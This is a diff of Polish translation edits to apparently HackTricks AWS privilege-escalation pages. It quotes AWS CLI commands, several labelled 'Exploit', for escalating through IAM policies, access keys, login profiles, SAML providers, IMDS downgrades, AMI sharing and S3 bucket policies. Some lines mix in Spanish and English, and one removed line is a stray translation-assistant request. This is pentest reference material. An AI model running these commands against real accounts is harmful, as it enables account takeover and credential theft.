+**Potencjalny wpływ:** Bezpośredni privesc do ról IAM EC2 przypisanych do uruchomionych instancji.

 ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`

 Atakujący z uprawnieniem **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać klucz ssh do połączenia szeregowego**. Jeśli konsola szeregowa nie jest włączona, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess`**, aby ją włączyć.

-Aby połączyć się z portem szeregowym, trzeba również **znać nazwę użytkownika i hasło użytkownika** wewnątrz maszyny.
+Aby połączyć się z portem szeregowym, musisz również **znać nazwę użytkownika i hasło użytkownika** wewnątrz maszyny.
 ```bash
 aws ec2 enable-serial-console-access

@@ -229,13 +230,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \

 ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
 ```
-Ta metoda nie jest zbyt przydatna do privesc, ponieważ do jej wykorzystania trzeba znać nazwę użytkownika i hasło.
+Ten sposób nie jest zbyt użyteczny do privesc, ponieważ do jego wykorzystania trzeba znać nazwę użytkownika i hasło.

-**Potencjalny wpływ:** (Trudne do udowodnienia) Bezpośredni privesc do EC2 IAM roles przypisanych do uruchomionych instancji.
+**Potencjalny wpływ:** (trudne do udowodnienia) Bezpośrednie privesc do EC2 IAM roles przypisanych do uruchomionych instancji.

 ### `describe-launch-templates`,`describe-launch-template-versions`

-Ponieważ launch templates mają wersjonowanie, atakujący posiadający uprawnienia **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** może je wykorzystać do odkrycia wrażliwych informacji, takich jak poświadczenia obecne w user data. Aby to osiągnąć, poniższy skrypt przechodzi przez wszystkie wersje dostępnych launch templates:
+Ponieważ launch templates mają wersjonowanie, atakujący posiadający uprawnienia **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** mógłby je wykorzystać do odkrycia poufnych informacji, takich jak poświadczenia znajdujące się w user data. Aby to osiągnąć, poniższy skrypt iteruje przez wszystkie wersje dostępnych launch templates:
 ```bash
 for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
 do
@@ -254,23 +255,18 @@ Zakładając, że znajdziemy `aws_access_key_id` i `aws_secret_access_key`, moż

 **Potencjalny wpływ:** Bezpośrednia eskalacja uprawnień do użytkownika(ów) IAM.

-## Źródła
+## Referencje

 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

+### `ec2:ModifyInstanceMetadataOptions` (obniżenie zabezpieczeń IMDS w celu umożliwienia SSRF i kradzieży poświadczeń)

+Atakujący, który ma możliwość wywołania `ec2:ModifyInstanceMetadataOptions` na docelowej instancji EC2, może osłabić zabezpieczenia IMDS, włączając IMDSv1 (`HttpTokens=optional`) i zwiększając `HttpPutResponseHopLimit`. To sprawia, że endpoint metadanych instancji staje się osiągalny przez typowe ścieżki SSRF/proxy z aplikacji uruchomionych na instancji. Jeśli atakujący potrafi wywołać SSRF w takiej aplikacji, może pobrać poświadczenia profilu instancji i pivotować przy ich użyciu.

+- Wymagane uprawnienia: `ec2:ModifyInstanceMetadataOptions` na docelowej instancji (plus możliwość dotarcia/wywołania SSRF na hoście).
+- Docelowy zasób: działająca instancja EC2 z dołączonym instance profile (rola IAM).

-
-
-### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
-
-Atakujący mający możliwość wywołania `ec2:ModifyInstanceMetadataOptions` na docelowej instancji EC2 może osłabić zabezpieczenia IMDS przez włączenie IMDSv1 (`HttpTokens=optional`) i zwiększenie `HttpPutResponseHopLimit`. Sprawia to, że endpoint metadanych instancji staje się osiągalny przez typowe ścieżki SSRF/proxy z aplikacji działających na instancji. Jeśli atakujący potrafi wywołać SSRF w takiej aplikacji, może pobrać poświadczenia profilu instancji i przemieścić się dalej z ich użyciem.
-
- Wymagane uprawnienia: `ec2:ModifyInstanceMetadataOptions` na docelowej instancji (plus możliwość dotarcia do/wywołania SSRF na hoście).
- Docelowy zasób: działająca instancja EC2 z dołączonym instance profile (rolą IAM).
-
-Przykładowe polecenia:
+Przykład poleceń:
 ```bash
 # 1) Check current metadata settings
 aws ec2 describe-instances --instance-id <INSTANCE_ID> \
@@ -297,11 +293,11 @@ aws sts get-caller-identity
 aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
 --http-tokens required --http-put-response-hop-limit 1
 ```
-Potencjalny wpływ: Kradzież poświadczeń profilu instancji przez SSRF prowadząca do eskalacji uprawnień i ruchu bocznego przy użyciu uprawnień roli EC2.
+Potencjalny wpływ: Kradzież poświadczeń profilu instancji przez SSRF prowadząca do privilege escalation i lateral movement z uprawnieniami roli EC2.

 ### `ec2:ModifyInstanceMetadataOptions`

-Atakujący posiadający uprawnienie ec2:ModifyInstanceMetadataOptions może osłabić zabezpieczenia Instance Metadata Service (IMDS) — na przykład wymuszając IMDSv1 (sprawiając, że HttpTokens nie są wymagane) lub zwiększając HttpPutResponseHopLimit — ułatwiając w ten sposób eksfiltrację tymczasowych poświadczeń. Najistotniejszym wektorem ryzyka jest podniesienie HttpPutResponseHopLimit: zwiększając ten limit skoków (TTL), endpoint 169.254.169.254 przestaje być ściśle ograniczony do przestrzeni nazw sieciowych VM i może stać się osiągalny przez inne procesy/kontenery, umożliwiając kradzież poświadczeń.
+Atakujący mający uprawnienie ec2:ModifyInstanceMetadataOptions może osłabić zabezpieczenia Instance Metadata Service (IMDS) — na przykład wymuszając IMDSv1 (sprawiając, że HttpTokens nie są wymagane) lub zwiększając HttpPutResponseHopLimit — ułatwiając w ten sposób exfiltration tymczasowych poświadczeń. Najbardziej istotnym wektorem ryzyka jest podniesienie HttpPutResponseHopLimit: zwiększając ten limit hopów (TTL), endpoint 169.254.169.254 przestaje być ściśle ograniczony do namespace sieciowego VM i może stać się osiągalny przez inne procesy/kontenery, umożliwiając kradzież poświadczeń.
 ```bash
 aws ec2 modify-instance-metadata-options \
 --instance-id <INSTANCE_ID> \
@@ -311,9 +307,9 @@ aws ec2 modify-instance-metadata-options \
 ```
 ### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`

-Atakujący posiadający uprawnienia ec2:ModifyImageAttribute i ec2:ModifySnapshotAttribute może udostępniać AMIs lub snapshots innym kontom AWS (a nawet uczynić je publicznymi), ujawniając obrazy lub wolumeny, które mogą zawierać wrażliwe dane, takie jak konfiguracje, poświadczenia, certyfikaty lub kopie zapasowe. Poprzez modyfikację AMI’s launch permissions lub snapshot’s create-volume permissions atakujący pozwala osobom trzecim na uruchamianie instances lub montowanie disks z tych zasobów i dostęp do ich zawartości.
+Atakujący posiadający uprawnienia ec2:ModifyImageAttribute i ec2:ModifySnapshotAttribute może udostępniać AMIs lub snapshots innym kontom AWS (a nawet uczynić je publicznymi), ujawniając obrazy lub wolumeny, które mogą zawierać wrażliwe dane, takie jak konfiguracje, poświadczenia, certyfikaty lub kopie zapasowe. Poprzez modyfikację AMI’s launch permissions lub snapshot’s create-volume permissions, atakujący pozwala osobom trzecim uruchamiać instancje lub montować dyski z tych zasobów i uzyskać dostęp do ich zawartości.

-Aby udostępnić AMI innemu kontu:
+To share an AMI with another account:
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
@@ -4,7 +4,7 @@

 ## IAM

-Więcej informacji o IAM:
+Aby uzyskać więcej informacji o IAM, zobacz:

 {{#ref}}
 ../../aws-services/aws-iam-enum.md
@@ -12,7 +12,7 @@ Więcej informacji o IAM:

 ### **`iam:CreatePolicyVersion`**

-Pozwala na utworzenie nowej wersji polityki IAM, omijając potrzebę uprawnienia `iam:SetDefaultPolicyVersion` dzięki użyciu flagi `--set-as-default`. Umożliwia to zdefiniowanie niestandardowych uprawnień.
+Przyznaje możliwość utworzenia nowej wersji polityki IAM, omijając potrzebę uprawnienia `iam:SetDefaultPolicyVersion` przez użycie flagi `--set-as-default`. Umożliwia to zdefiniowanie własnych uprawnień.

 **Exploit Command:**
 ```bash
@@ -23,27 +23,27 @@ aws iam create-policy-version --policy-arn <target_policy_arn> \

 ### **`iam:SetDefaultPolicyVersion`**

-Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, co może prowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień.
+Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, co może doprowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień.

 **Polecenie Bash:**
 ```bash
 aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
 ```
-**Impact:** Pośrednia eskalacja uprawnień przez umożliwienie uzyskania dodatkowych uprawnień.
+**Wpływ:** Pośrednie privilege escalation poprzez umożliwienie dodatkowych uprawnień.

 ### **`iam:CreateAccessKey`**

-Umożliwia tworzenie access key ID i secret access key dla innego użytkownika, co może prowadzić do eskalacji uprawnień.
+Pozwala na utworzenie access key ID i secret access key dla innego użytkownika, co może prowadzić do potencjalnego privilege escalation.

 **Exploit:**
 ```bash
 aws iam create-access-key --user-name <target_user>
 ```
-**Wpływ:** Bezpośrednia privilege escalation poprzez przejęcie rozszerzonych uprawnień innego użytkownika.
+**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie rozszerzonych uprawnień innego użytkownika.

 ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**

-Umożliwia tworzenie lub aktualizowanie login profile, w tym ustawianie haseł do logowania w AWS console, co prowadzi do bezpośredniej privilege escalation.
+Pozwala na tworzenie lub aktualizację profilu logowania, w tym ustawianie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień.

 **Exploit for Creation:**
 ```bash
@@ -55,13 +55,13 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
 aws iam update-login-profile --user-name target_user --no-password-reset-required \
 --password '<password>'
 ```
-**Wpływ:** Direct privilege escalation by logging in as "any" user.
+**Wpływ:** Bezpośrednia eskalacja uprawnień przez zalogowanie się jako dowolny użytkownik.

 ### **`iam:UpdateAccessKey`**

-Pozwala na włączenie wyłączonego access key, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony klucz.
+Pozwala na włączenie wyłączonego access key, co może doprowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony access key.

-**Eksploit:**
+**Exploit:**
 ```bash
 aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
 ```
@@ -69,35 +69,35 @@ aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user

 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**

-Umożliwia generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (np. CodeCommit, Amazon Keyspaces), dziedzicząc uprawnienia powiązanego użytkownika.
+Pozwala na generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (np. CodeCommit, Amazon Keyspaces), dziedzicząc uprawnienia powiązanego użytkownika.

-**Exploit for Creation:**
+**Eksploit do tworzenia:**
 ```bash
 aws iam create-service-specific-credential --user-name <username> --service-name <service>
 ```
-**Exploit dla Reset:**
+**Exploit do resetu:**
 ```bash
 aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
 ```
-**Wpływ:** Bezpośrednia eskalacja uprawnień w ramach uprawnień serwisowych użytkownika.
+**Wpływ:** Bezpośrednia eskalacja uprawnień w obrębie uprawnień usług przypisanych użytkownikowi.

 ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**

-Pozwala dołączać polityki do użytkowników lub grup, bezpośrednio eskalując uprawnienia poprzez dziedziczenie uprawnień dołączonej polityki.
+Pozwala na dołączanie polityk do użytkowników lub grup, co bezpośrednio eskaluje uprawnienia poprzez odziedziczenie uprawnień z dołączonej polityki.

-**Exploit for User:**
+**Eksploatacja dla użytkownika:**
 ```bash
 aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
 ```
-**Exploit dla Group:**
+**Exploit dla grupy:**
 ```bash
 aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
 ```
-**Impact:** Direct privilege escalation do wszystkiego, co polityka przyznaje.
+**Wpływ:** Bezpośrednia eskalacja uprawnień do wszystkiego, do czego uprawnia dana polityka.

 ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**

-Pozwala na przypisywanie polityk do ról, użytkowników lub grup, umożliwiając Direct privilege escalation przez przyznanie dodatkowych uprawnień.
+Umożliwia dołączanie lub przypisywanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez przyznanie dodatkowych uprawnień.

 **Exploit for Role:**
 ```bash
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
 aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
 --policy-document file:///path/to/policy.json
 ```
-Proszę wklej treść pliku README.md (albo wskaż fragment), który chcesz przetłumaczyć na polski. Zachowam dokładnie wszystkie tagi, linki, ścieżki, kod i składnię markdown/html.
+Możesz użyć polityki takiej jak:
 ```json
 {
 "Version": "2012-10-17",
@@ -127,11 +127,11 @@ Proszę wklej treść pliku README.md (albo wskaż fragment), który chcesz prze
 ]
 }
 ```
-**Wpływ:** Bezpośrednia eskalacja uprawnień przez dodawanie uprawnień w politykach.
+**Wpływ:** Bezpośrednie privilege escalation poprzez nadawanie uprawnień za pomocą policies.

 ### **`iam:AddUserToGroup`**

-Umożliwia dodanie siebie do grupy IAM, eskalując uprawnienia przez dziedziczenie uprawnień grupy.
+Umożliwia dodanie siebie do grupy IAM, prowadząc do escalating privileges poprzez dziedziczenie uprawnień grupy.

 **Exploit:**
 ```bash
@@ -141,14 +141,14 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>

 ### **`iam:UpdateAssumeRolePolicy`**

-Pozwala na modyfikację dokumentu polityki assume role danej roli, umożliwiając przyjęcie roli i uzyskanie przypisanych do niej uprawnień.
+Pozwala zmienić dokument polityki assume role dla roli, co umożliwia przyjęcie tej roli i uzyskanie związanych z nią uprawnień.

-**Exploit:**
+**Wykorzystanie:**
 ```bash
 aws iam update-assume-role-policy --role-name <role_name> \
 --policy-document file:///path/to/assume/role/policy.json
 ```
-Gdy polityka wygląda następująco, daje użytkownikowi uprawnienie do przyjęcia roli:
+Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyjęcia tej roli:
 ```json
 {
 "Version": "2012-10-17",
@@ -163,11 +163,11 @@ Gdy polityka wygląda następująco, daje użytkownikowi uprawnienie do przyjęc
 ]
 }
 ```
-**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie uprawnień dowolnej roli.
+**Wpływ:** Direct privilege escalation by assuming any role's permissions.

 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**

-Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień.
+Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz na dezaktywację urządzeń MFA, co może prowadzić do potencjalnego indirect privilege escalation.

 **Exploit for SSH Key Upload:**
 ```bash
@@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
 ```bash
 aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
 ```
-**Impact:** Pośrednia eskalacja uprawnień przez włączenie dostępu do CodeCommit lub wyłączenie ochrony MFA.
+**Wpływ:** Pośrednie eskalowanie uprawnień poprzez umożliwienie dostępu do CodeCommit lub wyłączenie ochrony MFA.

 ### **`iam:ResyncMFADevice`**

-Pozwala na ponowne zsynchronizowanie urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień poprzez manipulowanie ochroną MFA.
+Pozwala na ponowną synchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień przez manipulowanie ochroną MFA.

 **Polecenie Bash:**
 ```bash
 aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
 --authentication-code1 <code1> --authentication-code2 <code2>
 ```
-**Impact:** Pośrednia eskalacja uprawnień przez dodanie lub manipulację urządzeniami MFA.
+**Wpływ:** Niebezpośrednia eskalacja uprawnień przez dodawanie lub manipulowanie urządzeniami MFA.

 ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)

-Dysponując tymi uprawnieniami możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **SAML federation**, aby **login** z dowolnym **role that is trusting** it.
+Dzięki tym uprawnieniom możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **federacji SAML**, aby **zalogować się** przy użyciu dowolnej **roli, która jej ufa**.

-Zauważ, że wykonanie tego spowoduje, że **legit users won't be able to login**. Jednak możesz pobrać XML, więc możesz podmienić go na swój, **login** i ponownie skonfigurować poprzednie ustawienia.
+Zauważ, że wykonanie tego spowoduje, że **uprawnieni użytkownicy nie będą mogli się zalogować**. Jednak możesz pobrać XML, wstawić swój, zalogować się i przywrócić poprzednią konfigurację.
 ```bash
 # List SAMLs
 aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
 aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
 ```
 > [!NOTE]
-> TODO: Narzędzie zdolne wygenerować metadane SAML i zalogować się z określoną rolą
+> TODO: Narzędzie zdolne do wygenerowania metadanych SAML i zalogowania się z określoną rolą

 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)

-(Niepewne) Jeśli atakujący ma te **permissions**, może dodać nowy **Thumbprint**, aby móc zalogować się do wszystkich ról ufających dostawcy.
+(Niepewne) Jeśli atakujący ma te **permissions**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się we wszystkich rolach ufających dostawcy.
 ```bash
 # List providers
 aws iam list-open-id-connect-providers
@@ -226,7 +226,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
 ```
 ### `iam:PutUserPermissionsBoundary`

-To uprawnienie pozwala atakującemu zaktualizować granicę uprawnień użytkownika, co może doprowadzić do eskalacji uprawnień i umożliwić wykonywanie działań normalnie ograniczonych przez bieżące uprawnienia.
+To uprawnienie pozwala atakującemu zaktualizować permissions boundary użytkownika, potencjalnie eskalując jego uprawnienia poprzez umożliwienie wykonywania działań, które normalnie są ograniczone przez jego istniejące uprawnienia.
 ```bash
 aws iam put-user-permissions-boundary \
 --user-name <nombre_usuario> \
@@ -249,7 +249,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
 ```
 ### `iam:PutRolePermissionsBoundary`

-Aktor posiadający iam:PutRolePermissionsBoundary może ustawić granicę uprawnień (permissions boundary) na istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmienia granicę roli: może niewłaściwie ograniczyć operacje (powodując przerwy w działaniu usług) lub — jeśli załączy zbyt liberalną granicę — de facto rozszerzyć możliwości roli i eskalować uprawnienia.
+Podmiot posiadający uprawnienie iam:PutRolePermissionsBoundary może ustawić permissions boundary dla istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmieni granicę roli: może niewłaściwie ograniczyć operacje (powodując zakłócenia w działaniu usług) lub, jeśli przypisze przyzwalającą boundary, skutecznie rozszerzyć możliwości roli i eskalować uprawnienia.
 ```bash
 aws iam put-role-permissions-boundary \
 --role-name <Role_Name> \
@@ -6,9 +6,9 @@

 ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`

-Attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges.
+Atakujący posiadający takie uprawnienia do interesujących bucketów może przejąć zasoby i eskalować uprawnienia.

-For example, attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy:
+Na przykład atakujący posiadający takie **uprawnienia do bucketu cloudformation** o nazwie "cf-templates-nohnwfax6a6i-us-east-1" będzie w stanie przejąć wdrożenie. Dostęp może być przyznany za pomocą następującej polityki:
 ```json
 {
 "Version": "2012-10-17",
@@ -34,29 +34,29 @@ For example, attacker with those **permissions over a cloudformation bucket** ca
 ]
 }
 ```
-I hijack jest możliwe, ponieważ istnieje **małe okno czasowe od momentu przesłania template do bucket** do momentu, gdy **template zostanie wdrożony**. Atakujący może po prostu utworzyć **lambda function** w swoim koncie, która **trigger when a bucket notification is sent**, i **hijacks** **content** tego **bucket**.
+I przejęcie jest możliwe, ponieważ istnieje **krótki odstęp czasu od chwili, gdy szablon zostanie przesłany** do bucketu do chwili, gdy **szablon zostanie wdrożony**. Atakujący może po prostu utworzyć w swoim koncie **lambda function**, która **wyzwoli się, gdy zostanie wysłane powiadomienie o bucketcie**, i **przejmie** **zawartość** tego **bucketu**.

 ![](<../../../images/image (174).png>)

-The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) może być użyty do zautomatyzowania tego ataku.\
-For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+Moduł Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) może być użyty do zautomatyzowania tego ataku.\
+Więcej informacji znajdziesz w oryginalnym badaniu: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)

 ### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>

-Są to uprawnienia do **pobierania i przesyłania obiektów do S3**. Kilka usług w AWS (i poza nim) używa S3 do przechowywania **plików konfiguracyjnych**.\
-Atakujący z **read access** do nich może znaleźć **sensitive information**.\
-Atakujący z **write access** do nich może **zmodyfikować dane, by wykorzystać jakąś usługę i spróbować eskalacji uprawnień**.\
+Są to uprawnienia do **pobierania i przesyłania obiektów do S3**. Kilka usług w AWS (i poza nim) używa storage S3 do przechowywania **pliki konfiguracyjne**.\
+Atakujący z **dostępem do odczytu** może znaleźć w nich **wrażliwe informacje**.\
+Atakujący z **dostępem do zapisu** może **zmodyfikować dane, aby nadużyć jakąś usługę i spróbować eskalacji uprawnień**.\
 Oto kilka przykładów:

- Jeśli instancja EC2 przechowuje **user data in a S3 bucket**, atakujący mógłby to zmodyfikować, aby **execute arbitrary code inside the EC2 instance**.
+- Jeśli instancja EC2 przechowuje **user data in a S3 bucket**, atakujący mógłby to zmodyfikować, aby **wykonać dowolny kod wewnątrz instancji EC2**.

 ### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file

-Bardzo często pliki stanu [terraform] są zapisywane w blob storage dostawców chmurowych, np. AWS S3. Sufiks pliku stanu to `.tfstate`, a nazwy bucketów często zdradzają, że zawierają pliki stanu terraform. Zazwyczaj każde konto AWS ma taki bucket do przechowywania plików stanu pokazujących stan konta. Również w rzeczywistych kontach niemal zawsze wszyscy developerzy mają `s3:*`, a czasem nawet użytkownicy biznesowi mają `s3:Put*`.
+Bardzo często pliki stanu [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) są zapisywane w blob storage dostawców chmury, np. AWS S3. Sufiks pliku stanu to `.tfstate`, a nazwy bucketów często zdradzają, że zawierają pliki stanu terraform. Zazwyczaj każde konto AWS ma taki bucket do przechowywania plików stanu pokazujących stan konta. Również w praktyce w większości kont niemal zawsze wszyscy deweloperzy mają `s3:*`, a czasami nawet użytkownicy biznesowi mają `s3:Put*`.

-Zatem, jeśli masz wymienione uprawnienia do tych plików, istnieje wektor ataku pozwalający uzyskać RCE w pipeline z uprawnieniami `terraform` — zazwyczaj `AdministratorAccess`, co czyni cię administratorem konta chmurowego. Możesz też użyć tego wektora do przeprowadzenia ataku typu denial of service, powodując, że `terraform` usunie prawidłowe zasoby.
+Jeśli więc posiadasz wymienione uprawnienia do tych plików, istnieje wektor ataku pozwalający na uzyskanie RCE w pipeline z uprawnieniami `terraform` — najczęściej `AdministratorAccess`, co czyni cię administratorem konta chmurowego. Możesz też użyć tego wektora do przeprowadzenia ataku DoS, powodując, że `terraform` usunie legalne zasoby.

-Postępuj zgodnie z opisem w sekcji *Abusing Terraform State Files* strony *Terraform Security* po bezpośrednio użyteczny kod exploitów:
+Postępuj zgodnie z opisem w sekcji *Abusing Terraform State Files* na stronie *Terraform Security* aby znaleźć bezpośrednio użyteczny kod exploitów:

 {{#ref}}
 ../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -64,7 +64,7 @@ Postępuj zgodnie z opisem w sekcji *Abusing Terraform State Files* strony *Terr

 ### `s3:PutBucketPolicy`

-Atakujący, który musi być **from the same account** — w przeciwnym razie zostanie wywołany błąd `The specified method is not allowed will trigger` — z tym uprawnieniem będzie w stanie przyznać sobie więcej uprawnień do bucket(s), pozwalając mu na odczyt, zapis, modyfikację, usuwanie i ujawnianie bucketów.
+Atakujący, który musi być **z tego samego konta**, w przeciwnym razie zostanie wywołany błąd `The specified method is not allowed`, z tym uprawnieniem będzie w stanie nadać sobie więcej uprawnień do bucketów, pozwalających mu czytać, zapisywać, modyfikować, usuwać i ujawniać buckety.
 ```bash
 # Update Bucket policy
 aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -122,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
 ```
 ### `s3:GetBucketAcl`, `s3:PutBucketAcl`

-Atakujący mógłby nadużyć tych uprawnień, aby **uzyskać większy dostęp** do konkretnych bucketów.\
-Zauważ, że atakujący nie musi pochodzić z tego samego konta. Co więcej, dostęp do zapisu
+attacker może nadużyć tych uprawnień, aby **przyznać sobie większy dostęp** do konkretnych buckets.\
+Zauważ, że attacker nie musi pochodzić z tego samego konta. Co więcej, write access
 ```bash
 # Update bucket ACL
 aws s3api get-bucket-acl --bucket <bucket-name>
@@ -150,7 +150,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
 ```
 ### `s3:GetObjectAcl`, `s3:PutObjectAcl`

-Atakujący może nadużyć tych uprawnień, aby przyznać sobie większy dostęp do konkretnych obiektów w obrębie buckets.
+Atakujący może nadużyć tych uprawnień, aby przyznać sobie większy dostęp do konkretnych obiektów w bucketach.
 ```bash
 # Update bucket object ACL
 aws s3api get-object-acl --bucket <bucekt-name> --key flag
@@ -177,16 +177,16 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
 ```
 ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`

-Atakujący mający takie uprawnienia powinien móc przypisać Acl do konkretnej wersji obiektu.
+Oczekuje się, że atakujący z tymi uprawnieniami będzie w stanie ustawić Acl dla konkretnej wersji obiektu
 ```bash
 aws s3api get-object-acl --bucket <bucekt-name> --key flag
 aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
 ```
 ### `s3:PutBucketCORS`

-Atakujący posiadający uprawnienie s3:PutBucketCORS może zmodyfikować konfigurację CORS (Cross-Origin Resource Sharing) bucketu, która kontroluje, które domeny internetowe mogą uzyskiwać dostęp do jego endpointów. Jeśli ustawi przyzwalającą politykę, dowolna strona WWW będzie mogła wysyłać bezpośrednie żądania do bucketu i odczytywać odpowiedzi w przeglądarce.
+Atakujący z uprawnieniem s3:PutBucketCORS może zmodyfikować konfigurację CORS bucketu (Cross-Origin Resource Sharing), która kontroluje, które domeny webowe mogą uzyskiwać dostęp do jego endpointów. Jeśli ustawi permisywną politykę, dowolna witryna będzie mogła wysyłać bezpośrednie żądania do bucketu i odczytywać odpowiedzi z poziomu przeglądarki.

-Oznacza to, że potencjalnie, jeśli uwierzytelniony użytkownik aplikacji webowej hostowanej z tego bucketu odwiedzi stronę atakującego, atakujący może wykorzystać permissive politykę CORS i, w zależności od aplikacji, uzyskać dostęp do danych profilu użytkownika lub nawet przejąć jego konto.
+Oznacza to, że potencjalnie, jeśli uwierzytelniony użytkownik aplikacji webowej hostowanej z bucketu odwiedzi stronę atakującego, atakujący może wykorzystać permisywną politykę CORS i, w zależności od aplikacji, uzyskać dostęp do danych profilu użytkownika lub nawet przejąć jego konto.
 ```bash
 aws s3api put-bucket-cors \
 --bucket <BUCKET_NAME> \
@@ -8,31 +8,25 @@

 Usługi zaliczane do usług kontenerowych mają następujące cechy:

- Usługa sama w sobie działa na **oddzielnych instancjach infrastruktury**, takich jak EC2.
+- Sama usługa działa na **oddzielnych instancjach infrastruktury**, takich jak EC2.
 - **AWS** odpowiada za **zarządzanie systemem operacyjnym i platformą**.
- Managed service jest dostarczany przez AWS, co zazwyczaj oznacza usługę samą w sobie dla **rzeczywistej aplikacji postrzeganej jako kontenery**.
- Jako użytkownik tych usług kontenerowych masz szereg obowiązków związanych z zarządzaniem i bezpieczeństwem, w tym **zarządzanie bezpieczeństwem dostępu sieciowego, takie jak reguły network access control list i wszelkie zapory**.
- Również zarządzanie tożsamością i dostępem na poziomie platformy tam, gdzie ono istnieje.
- **Przykłady** usług kontenerowych AWS obejmują Relational Database Service, Elastic Mapreduce i Elastic Beanstalk.
+- AWS dostarcza zarządzaną usługę, która zazwyczaj jest samą usługą dla **rzeczywistej aplikacji postrzeganej jako kontenery**.
